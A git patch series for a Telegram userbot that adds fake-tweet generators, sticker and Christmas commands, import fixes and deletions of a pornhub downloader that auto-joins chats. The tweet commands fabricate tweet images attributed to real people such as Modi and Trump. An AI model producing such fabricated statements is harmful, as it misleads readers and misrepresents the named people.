event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to Sunny so he can tweet.`") + return + await event.edit("`Requesting Sunny to tweet...`") + text = deEmojify(text) + img = await sunnytweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + +#@register(outgoing=True, pattern=r"^\.joker(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="joker ?(.*)")) +async def j(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to 🃏 Joker so he can tweet.`") + return + await event.edit("`Requesting 🃏 Joker to tweet...`") + text = deEmojify(text) + img = await jtweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + +#@register(outgoing=True, pattern=r"^\.modi(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="modi ?(.*)")) +async def modi(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to Modi so he can tweet.`") + return + await event.edit("`Requesting Modi to tweet...`") + text = deEmojify(text) + img = await moditweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + + +#@register(outgoing=True, pattern=r"^\.mia(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="mia ?(.*)")) +async def mia(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to Mia so he can tweet.`") + return + await event.edit("`Requesting Mia to tweet...`") + text = deEmojify(text) + img = await miatweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + +#@register(outgoing=True, pattern=r"^\.cmm(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="cmm ?(.*)")) +async def cmm(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Give text for to write on banner!`") + return + await event.edit("`Your banner is under creation wait a sec...`") + text = deEmojify(text) + img = await changemymind(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + + +#@register(outgoing=True, pattern="^.type(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="type ?(.*)")) +async def type(animu): +#"""Generate random waifu sticker with the text!""" + + text = animu.pattern_match.group(1) + if not text: + if animu.is_reply: + text = (await animu.get_reply_message()).message + else: + await animu.answer("`No text given.`") + return + animus = [1, 2, 3, 4, 5, 6, 8, 7, 10, 11, 13, 22, 34, 35, 36, 37, 43, 44, 45, 52, 53] + sticcers = await bot.inline_query( + "stickerizerbot", f"#{random.choice(animus)}{(deEmojify(text))}") + await sticcers[0].click(animu.chat_id, + reply_to=animu.reply_to_msg_id, + silent=True if animu.is_reply else False, + hide_via=True) + await animu.delete() + +#@register(outgoing=True, pattern="^.waifu(?: |$)(.*)") + +@borg.on(admin_cmd(outgoing=True, pattern="waifu ?(.*)")) +async def waifu(danish): +#"""Generate random waifu sticker with the text!""" + + text = danish.pattern_match.group(1) + if not text: + if danish.is_reply: + text = (await danish.get_reply_message()).message + else: + await danish.answer("`No text given.`") + return + king = [ 32, 33, 37, 40, 41, 42, 58, 20] + sticcers = await bot.inline_query( + "stickerizerbot", f"#{random.choice(king)}{(deEmojify(text))}") + await sticcers[0].click(danish.chat_id, + reply_to=danish.reply_to_msg_id, + silent=True if danish.is_reply else False, + hide_via=True) + await danish.delete() + + +#@register(outgoing=True, pattern=r"\.tweet(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="tweet ?(.*)")) +async def tweet(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply: + if not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`What should i tweet? Give your username and tweet!`") + return + else: + await event.edit("What should i tweet? Give your username and tweet!`") + return + if "." in text: + username, text = text.split(".") + else: + await event.edit("`What should i tweet? Give your username and tweet!`") + await event.edit(f"`Requesting {username} to tweet...`") + text = deEmojify(text) + img = await tweets(text, username) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +@borg.on(admin_cmd(pattern="tweetme(?: |$)(.*)")) +async def tweetme(okie): +#"""Creates random anime sticker!""" + what = okie.pattern_match.group(1) + if not what: + if okie.is_reply: + what = (await okie.get_reply_message()).message + else: + await okie.edit("`Tweets must contain some text, pero!`") + return + sticcers = await bot.inline_query( + "TwitterStatusBot", f"{(deEmojify(what))}") + await sticcers[0].click(okie.chat_id, + reply_to=okie.reply_to_msg_id, + silent=True if okie.is_reply else False, + hide_via=True) + await okie.delete() + +CMD_HELP.update({ + + "tweet": ".tweet ." + "\nUsage Create tweet with custom username.\n\n" + ".trump " + "\nUsage Create tweet for Donald Trump.\n\n" + ".sunny " + "\nUsage Create tweet for Sunny Leone.\n\n" + ".johnny " + "\nUsage Create tweet for Johnny Sins.\n\n" + ".bhau " + "\nUsage Create tweet for Hindustani bhau.\n\n" + ".modi " + "\nUsage: Create tweet for Modi .\n\n" + ".tweetme " + "\nUsage Create tweet from u in dark theme.\n\n" + ".cmm " + "\nUsage Create banner for Change My Mind.\n\n" + ".waifu " + "\nUsage Random anime girl stickers.\n\n" + ".type " + "\nUsage random sticker is writing your text." + } +) From adb8d19927a738db35c14e233c57540ead15b6ae Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:38:42 +0530 Subject: [PATCH 148/838] Create tweet.py --- fridaybot/tweet.py | 92 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 fridaybot/tweet.py diff --git a/fridaybot/tweet.py b/fridaybot/tweet.py new file mode 100644 index 00000000..75995e98 --- /dev/null +++ b/fridaybot/tweet.py @@ -0,0 +1,92 @@ +import os +import re +import urllib.request +import PIL.ImageOps +import requests +from PIL import Image, ImageDraw, ImageFont +from validators.url import url + +async def moditweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=narendramodi" + ).json() + dc = r.get("message") + cobra = url(dc) + if not cobra: + return "check syntax once more" + with open("hehe.png", "wb") as f: + f.write(requests.get(dc).content) + img = Image.open("hehe.png").convert("RGB") + img.save("hehe.webp", "webp") + return "hehe.webp" + + +async def sunnytweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=sunnyleone" + ).json() + dc = r.get("message") + cobra = url(dc) + if not cobra: + return "check syntax once more" + with open("hehe.png", "wb") as f: + f.write(requests.get(dc).content) + img = Image.open("hehe.png").convert("RGB") + img.save("hehe.webp", "webp") + return "hehe.webp" + +async def johnnytweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=johnnysins" + ).json() + dc = r.get("message") + cobra = url(dc) + if not cobra: + return "check syntax once more" + with open("hehe.png", "wb") as f: + f.write(requests.get(dc).content) + img = Image.open("hehe.png").convert("RGB") + img.save("hehe.webp", "webp") + return "hehe.webp" + +async def bhautweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=hindustanibhau" + ).json() + ab = r.get("message") + cd = url(ab) + if not cd: + return "check syntax once more" + with open("hoho.png", "wb") as f: + f.write(requests.get(ab).content) + img = Image.open("hoho.png").convert("RGB") + img.save("hoho.webp", "webp") + return "hoho.webp" + +async def jtweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=the_joker" + ).json() + ab = r.get("message") + cd = url(ab) + if not cd: + return "check syntax once more" + with open("hoho.png", "wb") as f: + f.write(requests.get(ab).content) + img = Image.open("hoho.png").convert("RGB") + img.save("hoho.webp", "webp") + return "hoho.webp" + +async def miatweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=miakhalifa" + ).json() + ab = r.get("message") + cd = url(ab) + if not cd: + return "check syntax once more" + with open("hoho.png", "wb") as f: + f.write(requests.get(ab).content) + img = Image.open("hoho.png").convert("RGB") + img.save("hoho.webp", "webp") + return "hoho.webp" From 0428c92f77d0ac3a76ae7acb3d15e73d89f5a7fb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:40:34 +0530 Subject: [PATCH 149/838] Create merrychristmas.py --- fridaybot/merrychristmas.py | 173 ++++++++++++++++++++++++++++++++++++ 1 file changed, 173 insertions(+) create mode 100644 fridaybot/merrychristmas.py diff --git a/fridaybot/merrychristmas.py b/fridaybot/merrychristmas.py new file mode 100644 index 00000000..d013de5d --- /dev/null +++ b/fridaybot/merrychristmas.py @@ -0,0 +1,173 @@ +from telethon import events +from asyncio import sleep +import os, sys, random, re +from ..utils import admin_cmd +from fridayuserbot import bot + +img1=("https://t.me/danish2512/2") +img2=("https://t.me/danish2512/3") +img3=("https://t.me/danish2512/4") +img4=("https://t.me/danish2512/5") +img5=("https://t.me/danish2512/6") +img6=("https://t.me/danish2512/7") +img7=("https://t.me/danish2512/8") +img8=("https://t.me/danish2512/9") +img9=("https://t.me/danish2512/10") +img10=("https://t.me/danish2512/11") +img11=("https://t.me/danish2512/12") +img12=("https://t.me/danish2512/13") +img13=("https://t.me/danish2512/14") +img14=("https://t.me/danish2512/15") +img15=("https://t.me/danish2512/16") +img16=("https://t.me/danish2512/17") +img17=("https://t.me/danish2512/18") +img18=("https://t.me/danish2512/19") +img19=("https://t.me/danish2512/20") +img20=("https://t.me/danish2512/21") +img21=("https://t.me/danish2512/22") +img22=("https://t.me/danish2512/23") +img23=("https://t.me/danish2512/24") +img24=("https://t.me/danish2512/25") +img25=("https://t.me/danish2512/26") +img26=("https://t.me/danish2512/27") +img27=("https://t.me/danish2512/28") +img28=("https://t.me/danish2512/29") +img29=("https://t.me/danish2512/30") +img30=("https://t.me/danish2512/31") + +@borg.on(admin_cmd(outgoing=True, pattern="mc")) + +async def _(event): + + if event.fwd_from: + return + await event.edit("**.\n\n😊 ℍ𝕠 ℍ𝕠 ℍ𝕠... 🎅🏻\n\n.**") + await sleep(1.6) + await event.edit("🎉") + await sleep(3) + await event.edit("🎊") + await sleep(3) + await event.edit("💔") + await sleep(1.5) + await event.edit("❤") + await sleep(3) + await event.edit(".\n\n\n😊𝓜𝓔𝓡𝓡𝓨 𝓒𝓗𝓡𝓘𝓢𝓣𝓜𝓐𝓢😁\n\n\n.") + await sleep(3) + await event.edit("🥳") + await sleep(3.3) + await event.edit("⛄") + await sleep(3.4) + await event.edit("🌨🌨🌨🌨🌨\n\n❄❄❄❄❄\n❄️❄️❄️❄️❄️") + await sleep(2.8) + await event.edit("☃️") + await sleep(3.7) + await event.edit("🥶") + await sleep(3.7) + await event.edit("🎄") + await sleep(3.2) + await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.") + await sleep(2.9) + danish = await bot.send_file(event.chat_id,"https://t.me/mcmc2021/36") + await sleep(4) + x=(random.randrange(0,30)) + if x==1: + await bot.send_file(event.chat_id,img1) + + if x==2: + await bot.send_file(event.chat_id,img2) + + if x==3: + await bot.send_file(event.chat_id,img3) + + if x==4: + await bot.send_file(event.chat_id,img4) + + if x==5: + await bot.send_file(event.chat_id,img5) + + if x==6: + await bot.send_file(event.chat_id,img6) + + if x==7: + await bot.send_file(event.chat_id,img7) + + if x==8: + await bot.send_file(event.chat_id,img8) + + if x==9: + await bot.send_file(event.chat_id,img9) + + if x==10: + await bot.send_file(event.chat_id,img10) + + if x==11: + await bot.send_file(event.chat_id,img11) + + if x==12: + await bot.send_file(event.chat_id,img12) + + if x==13: + await bot.send_file(event.chat_id,img13) + + if x==14: + await bot.send_file(event.chat_id,img14) + + if x==15: + await bot.send_file(event.chat_id,img15) + + if x==16.: + await bot.send_file(event.chat_id,img16) + + + if x==17: + await bot.send_file(event.chat_id,img17) + + if x==18: + await bot.send_file(event.chat_id,img18) + + if x==19: + await bot.send_file(event.chat_id,img19) + + if x==20: + await bot.send_file(event.chat_id,img20) + + if x==21: + await bot.send_file(event.chat_id,img21) + + if x==22: + await bot.send_file(event.chat_id,img22) + + + if x==23: + await bot.send_file(event.chat_id,img23) + + + if x==24: + await bot.send_file(event.chat_id,img24) + + + if x==25: + await bot.send_file(event.chat_id,img25) + + + if x==26: + await bot.send_file(event.chat_id,img26) + + + if x==27: + await bot.send_file(event.chat_id,img27) + + + if x==28: + await bot.send_file(event.chat_id,img28) + + + if x==29: + await bot.send_file(event.chat_id,img29) + + + if x==30: + await bot.send_file(event.chat_id,img30) + + + From 3cabeb9fe8b9828337a8adff15e9177445a82e5d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:45:33 +0530 Subject: [PATCH 150/838] Update tweet.py --- fridaybot/modules/tweet.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/tweet.py b/fridaybot/modules/tweet.py index 68629e23..2d2a0d79 100644 --- a/fridaybot/modules/tweet.py +++ b/fridaybot/modules/tweet.py @@ -7,7 +7,7 @@ import random import time from telethon import events -from userbot import bot +from fridaybot import bot from collections import deque import sys import html From c0928b34718b015ab8a7bdcd85d8dac9965578e8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:51:32 +0530 Subject: [PATCH 151/838] Delete merrychristmas.py --- fridaybot/merrychristmas.py | 173 ------------------------------------ 1 file changed, 173 deletions(-) delete mode 100644 fridaybot/merrychristmas.py diff --git a/fridaybot/merrychristmas.py b/fridaybot/merrychristmas.py deleted file mode 100644 index d013de5d..00000000 --- a/fridaybot/merrychristmas.py +++ /dev/null @@ -1,173 +0,0 @@ -from telethon import events -from asyncio import sleep -import os, sys, random, re -from ..utils import admin_cmd -from fridayuserbot import bot - -img1=("https://t.me/danish2512/2") -img2=("https://t.me/danish2512/3") -img3=("https://t.me/danish2512/4") -img4=("https://t.me/danish2512/5") -img5=("https://t.me/danish2512/6") -img6=("https://t.me/danish2512/7") -img7=("https://t.me/danish2512/8") -img8=("https://t.me/danish2512/9") -img9=("https://t.me/danish2512/10") -img10=("https://t.me/danish2512/11") -img11=("https://t.me/danish2512/12") -img12=("https://t.me/danish2512/13") -img13=("https://t.me/danish2512/14") -img14=("https://t.me/danish2512/15") -img15=("https://t.me/danish2512/16") -img16=("https://t.me/danish2512/17") -img17=("https://t.me/danish2512/18") -img18=("https://t.me/danish2512/19") -img19=("https://t.me/danish2512/20") -img20=("https://t.me/danish2512/21") -img21=("https://t.me/danish2512/22") -img22=("https://t.me/danish2512/23") -img23=("https://t.me/danish2512/24") -img24=("https://t.me/danish2512/25") -img25=("https://t.me/danish2512/26") -img26=("https://t.me/danish2512/27") -img27=("https://t.me/danish2512/28") -img28=("https://t.me/danish2512/29") -img29=("https://t.me/danish2512/30") -img30=("https://t.me/danish2512/31") - -@borg.on(admin_cmd(outgoing=True, pattern="mc")) - -async def _(event): - - if event.fwd_from: - return - await event.edit("**.\n\n😊 ℍ𝕠 ℍ𝕠 ℍ𝕠... 🎅🏻\n\n.**") - await sleep(1.6) - await event.edit("🎉") - await sleep(3) - await event.edit("🎊") - await sleep(3) - await event.edit("💔") - await sleep(1.5) - await event.edit("❤") - await sleep(3) - await event.edit(".\n\n\n😊𝓜𝓔𝓡𝓡𝓨 𝓒𝓗𝓡𝓘𝓢𝓣𝓜𝓐𝓢😁\n\n\n.") - await sleep(3) - await event.edit("🥳") - await sleep(3.3) - await event.edit("⛄") - await sleep(3.4) - await event.edit("🌨🌨🌨🌨🌨\n\n❄❄❄❄❄\n❄️❄️❄️❄️❄️") - await sleep(2.8) - await event.edit("☃️") - await sleep(3.7) - await event.edit("🥶") - await sleep(3.7) - await event.edit("🎄") - await sleep(3.2) - await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.") - await sleep(2.9) - danish = await bot.send_file(event.chat_id,"https://t.me/mcmc2021/36") - await sleep(4) - x=(random.randrange(0,30)) - if x==1: - await bot.send_file(event.chat_id,img1) - - if x==2: - await bot.send_file(event.chat_id,img2) - - if x==3: - await bot.send_file(event.chat_id,img3) - - if x==4: - await bot.send_file(event.chat_id,img4) - - if x==5: - await bot.send_file(event.chat_id,img5) - - if x==6: - await bot.send_file(event.chat_id,img6) - - if x==7: - await bot.send_file(event.chat_id,img7) - - if x==8: - await bot.send_file(event.chat_id,img8) - - if x==9: - await bot.send_file(event.chat_id,img9) - - if x==10: - await bot.send_file(event.chat_id,img10) - - if x==11: - await bot.send_file(event.chat_id,img11) - - if x==12: - await bot.send_file(event.chat_id,img12) - - if x==13: - await bot.send_file(event.chat_id,img13) - - if x==14: - await bot.send_file(event.chat_id,img14) - - if x==15: - await bot.send_file(event.chat_id,img15) - - if x==16.: - await bot.send_file(event.chat_id,img16) - - - if x==17: - await bot.send_file(event.chat_id,img17) - - if x==18: - await bot.send_file(event.chat_id,img18) - - if x==19: - await bot.send_file(event.chat_id,img19) - - if x==20: - await bot.send_file(event.chat_id,img20) - - if x==21: - await bot.send_file(event.chat_id,img21) - - if x==22: - await bot.send_file(event.chat_id,img22) - - - if x==23: - await bot.send_file(event.chat_id,img23) - - - if x==24: - await bot.send_file(event.chat_id,img24) - - - if x==25: - await bot.send_file(event.chat_id,img25) - - - if x==26: - await bot.send_file(event.chat_id,img26) - - - if x==27: - await bot.send_file(event.chat_id,img27) - - - if x==28: - await bot.send_file(event.chat_id,img28) - - - if x==29: - await bot.send_file(event.chat_id,img29) - - - if x==30: - await bot.send_file(event.chat_id,img30) - - - From 6632323a500c50501107e2059f6016f77754c8fc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:52:26 +0530 Subject: [PATCH 152/838] Merry Christmas Guys --- fridaybot/modules/merrychristmas.py | 173 ++++++++++++++++++++++++++++ 1 file changed, 173 insertions(+) create mode 100644 fridaybot/modules/merrychristmas.py diff --git a/fridaybot/modules/merrychristmas.py b/fridaybot/modules/merrychristmas.py new file mode 100644 index 00000000..7c6481a6 --- /dev/null +++ b/fridaybot/modules/merrychristmas.py @@ -0,0 +1,173 @@ +from telethon import events +from asyncio import sleep +import os, sys, random, re +from ..utils import admin_cmd +from fridayuserbot import bot + +img1=("https://t.me/danish2512/2") +img2=("https://t.me/danish2512/3") +img3=("https://t.me/danish2512/4") +img4=("https://t.me/danish2512/5") +img5=("https://t.me/danish2512/6") +img6=("https://t.me/danish2512/7") +img7=("https://t.me/danish2512/8") +img8=("https://t.me/danish2512/9") +img9=("https://t.me/danish2512/10") +img10=("https://t.me/danish2512/11") +img11=("https://t.me/danish2512/12") +img12=("https://t.me/danish2512/13") +img13=("https://t.me/danish2512/14") +img14=("https://t.me/danish2512/15") +img15=("https://t.me/danish2512/16") +img16=("https://t.me/danish2512/17") +img17=("https://t.me/danish2512/18") +img18=("https://t.me/danish2512/19") +img19=("https://t.me/danish2512/20") +img20=("https://t.me/danish2512/21") +img21=("https://t.me/danish2512/22") +img22=("https://t.me/danish2512/23") +img23=("https://t.me/danish2512/24") +img24=("https://t.me/danish2512/25") +img25=("https://t.me/danish2512/26") +img26=("https://t.me/danish2512/27") +img27=("https://t.me/danish2512/28") +img28=("https://t.me/danish2512/29") +img29=("https://t.me/danish2512/30") +img30=("https://t.me/danish2512/31") + +@borg.on(admin_cmd(outgoing=True, pattern="merrychristmas")) + +async def _(event): + + if event.fwd_from: + return + await event.edit("**.\n\n😊 ℍ𝕠 ℍ𝕠 ℍ𝕠... 🎅🏻\n\n.**") + await sleep(1.6) + await event.edit("🎉") + await sleep(3) + await event.edit("🎊") + await sleep(3) + await event.edit("💔") + await sleep(1.5) + await event.edit("❤") + await sleep(3) + await event.edit(".\n\n\n😊𝓜𝓔𝓡𝓡𝓨 𝓒𝓗𝓡𝓘𝓢𝓣𝓜𝓐𝓢😁\n\n\n.") + await sleep(3) + await event.edit("🥳") + await sleep(3.3) + await event.edit("⛄") + await sleep(3.4) + await event.edit("🌨🌨🌨🌨🌨\n\n❄❄❄❄❄\n❄️❄️❄️❄️❄️") + await sleep(2.8) + await event.edit("☃️") + await sleep(3.7) + await event.edit("🥶") + await sleep(3.7) + await event.edit("🎄") + await sleep(3.2) + await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.") + await sleep(2.9) + danish = await bot.send_file(event.chat_id,"https://t.me/mcmc2021/36") + await sleep(4) + x=(random.randrange(0,30)) + if x==1: + await bot.send_file(event.chat_id,img1) + + if x==2: + await bot.send_file(event.chat_id,img2) + + if x==3: + await bot.send_file(event.chat_id,img3) + + if x==4: + await bot.send_file(event.chat_id,img4) + + if x==5: + await bot.send_file(event.chat_id,img5) + + if x==6: + await bot.send_file(event.chat_id,img6) + + if x==7: + await bot.send_file(event.chat_id,img7) + + if x==8: + await bot.send_file(event.chat_id,img8) + + if x==9: + await bot.send_file(event.chat_id,img9) + + if x==10: + await bot.send_file(event.chat_id,img10) + + if x==11: + await bot.send_file(event.chat_id,img11) + + if x==12: + await bot.send_file(event.chat_id,img12) + + if x==13: + await bot.send_file(event.chat_id,img13) + + if x==14: + await bot.send_file(event.chat_id,img14) + + if x==15: + await bot.send_file(event.chat_id,img15) + + if x==16.: + await bot.send_file(event.chat_id,img16) + + + if x==17: + await bot.send_file(event.chat_id,img17) + + if x==18: + await bot.send_file(event.chat_id,img18) + + if x==19: + await bot.send_file(event.chat_id,img19) + + if x==20: + await bot.send_file(event.chat_id,img20) + + if x==21: + await bot.send_file(event.chat_id,img21) + + if x==22: + await bot.send_file(event.chat_id,img22) + + + if x==23: + await bot.send_file(event.chat_id,img23) + + + if x==24: + await bot.send_file(event.chat_id,img24) + + + if x==25: + await bot.send_file(event.chat_id,img25) + + + if x==26: + await bot.send_file(event.chat_id,img26) + + + if x==27: + await bot.send_file(event.chat_id,img27) + + + if x==28: + await bot.send_file(event.chat_id,img28) + + + if x==29: + await bot.send_file(event.chat_id,img29) + + + if x==30: + await bot.send_file(event.chat_id,img30) + + + From a6f35b1653a75a37515d139692c2705881821afb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:54:35 +0530 Subject: [PATCH 153/838] Update merrychristmas.py --- fridaybot/modules/merrychristmas.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/merrychristmas.py b/fridaybot/modules/merrychristmas.py index 7c6481a6..540a30ee 100644 --- a/fridaybot/modules/merrychristmas.py +++ b/fridaybot/modules/merrychristmas.py @@ -2,7 +2,7 @@ from asyncio import sleep import os, sys, random, re from ..utils import admin_cmd -from fridayuserbot import bot +from fridaybot import bot img1=("https://t.me/danish2512/2") img2=("https://t.me/danish2512/3") From 1ab3f9783b5f0b449e9b84407ca9285001b8f66a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 11:37:55 +0530 Subject: [PATCH 154/838] Delete pornhubD.py --- fridaybot/modules/pornhubD.py | 67 ----------------------------------- 1 file changed, 67 deletions(-) delete mode 100644 fridaybot/modules/pornhubD.py diff --git a/fridaybot/modules/pornhubD.py b/fridaybot/modules/pornhubD.py deleted file mode 100644 index a0645fc8..00000000 --- a/fridaybot/modules/pornhubD.py +++ /dev/null @@ -1,67 +0,0 @@ -""" -Pornhub downloader by @ceowhitehatcracks -Syntax: .phd link -""" -import datetime -import asyncio -import requests -from bs4 import BeautifulSoup -import os -from pySmartDL import SmartDL -from telethon import events -from telethon.tl.functions.channels import JoinChannelRequest -from telethon.errors.rpcerrorlist import YouBlockedUserError, UserAlreadyParticipantError -from telethon.tl.functions.account import UpdateNotifySettingsRequest -from telethon.tl.functions.messages import ImportChatInviteRequest -from ..utils import admin_cmd - -@borg.on(admin_cmd("phd2 ?(.*)")) -async def _(event): - if event.fwd_from: - return - d_link = event.pattern_match.group(1) - bot = "@phsavebot" - r = requests.get(d_link) - soup = BeautifulSoup(r.content, 'html.parser') - temporary_variable = soup.find("span", {"class": "inlineFree"}) - title = temporary_variable.text - temp = soup.find("div", {"class": "thumbnail"}) - view = soup.find("span", {"class": "count"}) - views = view.text - temporary_variable_to_use = temp.find("img") - thumb_image_link = temporary_variable_to_use["data-src"] - if "pornhub" not in d_link: - await event.edit("` I need a link to download something pro.`**(._.)**") - else: - await event.edit("**💦Preparing to upload Video💦 **\n**Title**: `{}`\n**Total Views**: `{}`".format(title, views)) - await asyncio.sleep(2) - - - async with event.client.conversation("@phsavebot") as conv: - try: - await conv.send_message("/start") - oop = await conv.get_response() - if "language" in oop.text: - await borg.send_message(event.chat_id, "**Please go to** @phsavebot **and select your language**") - await asyncio.sleep(2) - me = await borg.get_me() - my_id = me.id - # Necessary for the bot to work ;-; - try: - await borg(ImportChatInviteRequest('AAAAAFbNNkKLy3gleaD5sA')) - await borg(ImportChatInviteRequest('AAAAAFZPuYvdW1A8mrT8Pg')) - except UserAlreadyParticipantError: - await asyncio.sleep(0.00000069420) - await conv.send_message(d_link) - response = await conv.get_response() - if "Downloading" in response.text: - video_hehe = await conv.get_response() - await borg.send_file(event.chat_id, video_hehe, caption="`🤤 Video Uploaded by` [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)!🤤\n**Title:** `{}`".format(title)) - elif "Unfortunately" in response.text: - await event.edit("`Woops, Incorrect link!`\n**Please check and try again.**") - elif "correct" in response.text: - await borg.send_message(event.chat_id, response.text) - except YouBlockedUserError: - await event.reply("**Please unblock** @phsavebot **and try again**") - return - From 0661ee2115f567a1480b232f8f7a1d2a7432dc53 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 11:51:15 +0530 Subject: [PATCH 155/838] Update Dockerfile --- Dockerfile | 1 + 1 file changed, 1 insertion(+) diff --git a/Dockerfile b/Dockerfile index 274d672e..bc7e0d21 100644 --- a/Dockerfile +++ b/Dockerfile @@ -61,6 +61,7 @@ RUN axel https://chromedriver.storage.googleapis.com/86.0.4240.22/chromedriver_l RUN wget -O opencv.zip https://github.com/opencv/opencv/archive/master.zip && unzip opencv.zip && mv -f opencv-master /usr/bin/ && rm opencv.zip RUN git clone https://github.com/inukaasith/virtualuserbot /root/fridaybot RUN mkdir /root/fridaybot/bin/ +RUN mkdir /root/fridaybot/bin/megadown WORKDIR /root/fridaybot/ RUN chmod +x /usr/local/bin/* RUN pip3 install -r requirements.txt From 82aa1c8effb9bf45f9a389a61d50c9596765fb15 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 12:05:42 +0530 Subject: [PATCH 156/838] Delete audio.py --- fridaybot/modules/audio.py | 35 ----------------------------------- 1 file changed, 35 deletions(-) delete mode 100644 fridaybot/modules/audio.py diff --git a/fridaybot/modules/audio.py b/fridaybot/modules/audio.py deleted file mode 100644 index de2ea4f1..00000000 --- a/fridaybot/modules/audio.py +++ /dev/null @@ -1,35 +0,0 @@ -import datetime -from telethon import events -from telethon.errors.rpcerrorlist import YouBlockedUserError -from telethon.tl.functions.account import UpdateNotifySettingsRequest -from ..utils import admin_cmd - -@borg.on(admin_cmd("audio ?(.*)")) -async def _(event): - if event.fwd_from: - return - if not event.reply_to_msg_id: - await event.edit("```Reply to any user message.```") - return - reply_message = await event.get_reply_message() - if not reply_message.text: - await event.edit("```reply to text message```") - return - chat = "@AudioTubeBot" - sender = reply_message.sender - if reply_message.sender.bot: - await event.edit("```Reply to actual users message.```") - return - await event.edit("```Processing```") - async with borg.conversation(chat) as conv: - try: - response = conv.wait_event(events.NewMessage(incoming=True,from_users=507379365)) - await borg.send_message(chat, reply_message) - response = await response - except YouBlockedUserError: - await event.reply("```Please unblock @sangmatainfo_bot and try again```") - return - if response.text.startswith("🌐"): - await event.edit("```can you kindly disable your forward privacy settings for good?```") - else: - await borg.send_file(event.chat_id, response.message.message.media) From 1d85a1ff0df67628026dc961c7dd9971161432aa Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 12:28:46 +0530 Subject: [PATCH 157/838] Update mega.py --- fridaybot/modules/mega.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/mega.py b/fridaybot/modules/mega.py index 911f6d00..77cf062a 100644 --- a/fridaybot/modules/mega.py +++ b/fridaybot/modules/mega.py @@ -77,7 +77,7 @@ async def mega_downloader(megadl): except IndexError: await 